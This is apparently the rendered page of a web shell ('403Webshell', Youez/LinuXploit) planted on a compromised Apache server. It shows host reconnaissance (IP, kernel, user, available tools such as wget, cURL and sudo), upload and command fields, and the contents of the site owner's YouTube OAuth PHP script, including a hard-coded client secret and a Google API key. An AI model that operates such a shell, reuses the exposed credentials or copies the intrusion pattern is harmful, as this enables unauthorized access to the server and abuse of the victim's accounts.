403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/suachtzr/public_html/youtube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/suachtzr/public_html/youtube/index.php
<?php
// Call set_include_path() as needed to point to your client library.
//require_once 'src/autoload.php';
require_once 'src/Google_Client.php';
require_once 'src/contrib/Google_YoutubeService.php';
session_start();

/* You can acquire an OAuth 2 ID/secret pair from the API Access tab on the Google APIs Console
  <http://code.google.com/apis/console#access>
For more information about using OAuth2 to access Google APIs, please visit:
  <https://developers.google.com/accounts/docs/OAuth2>
Please ensure that you have enabled the YouTube Data API for your project. */
$OAUTH2_CLIENT_ID = 'API key 1';
$OAUTH2_CLIENT_SECRET = 'AIzaSyBGoWJAOHfHfcSL9LUHMOd6ZVI9JSIoNd8';

$client = new Google_Client();
$client->setClientId($OAUTH2_CLIENT_ID);
$client->setClientSecret($OAUTH2_CLIENT_SECRET);
$redirect = filter_var('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'],
  FILTER_SANITIZE_URL);
$client->setRedirectUri($redirect);

$youtube = new Google_YoutubeService($client);

if (isset($_GET['code'])) {
  if (strval($_SESSION['state']) !== strval($_GET['state'])) {
    die('The session state did not match.');
  }

  $client->authenticate();
  $_SESSION['token'] = $client->getAccessToken();
  header('Location: ' . $redirect);
}

if (isset($_SESSION['token'])) {
  $client->setAccessToken($_SESSION['token']);
}

//$client->getAccessToken()."<br><br><br>"; 
//$token = $client->getAccessToken();

//$json = file_get_contents($token);
$json_output = json_decode($client->getAccessToken());
$token = $json_output->access_token;   



//youtubefollowers($user)

if ($client->getAccessToken()) {
    
    $userid = getYoutubeData($token);
    $htmlBody = "SubscriberCount: ".youtubefollowers($userid);
    

  $_SESSION['token'] = $client->getAccessToken();
} else {
  $state = mt_rand();
  $client->setState($state);
  $_SESSION['state'] = $state;

  $authUrl = $client->createAuthUrl();
  $htmlBody = <<<END
  <h3>Connect to youtube</h3>
  <p>You need to <a href="$authUrl">Connect</a> before proceeding.<p>
END;
}

function getYoutubeData($token)
{   
    $json_url ='https://www.googleapis.com/youtube/v3/channels?part=contentDetails&mine=true&access_token='.$token;
    $json = file_get_contents($json_url);
    $json_output = json_decode($json);
    
    //print_r($json_output);
    
    //Extract the likes count from the JSON object
    if($json_output->items[0]->id){
            $id = $json_output->items[0]->id;
    }else{
            $id = "";
    }
    return $id;
}

function youtubefollowers($channelID)
{   
    $json_url ='https://www.googleapis.com/youtube/v3/channels?part=statistics&id='.$channelID.'&key=AIzaSyAlgOkFu2KlYJAQwt5j3jO1rUARpPzAIww';
    $json = file_get_contents($json_url);
    $json_output = json_decode($json);
    
    /*echo "<pre>";
    print_r($json_output->items[0]->statistics->subscriberCount);
    exit;*/
    
    if($json_output->items[0]->statistics->subscriberCount){
            $subscriberCount = $json_output->items[0]->statistics->subscriberCount;
    }else{
            $subscriberCount = 0;
    }
    return $subscriberCount;
}
?>

<!doctype html>
<html>
  <head>
    <title>YouTube</title>
  </head>
  <body>
   <?=$htmlBody?>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit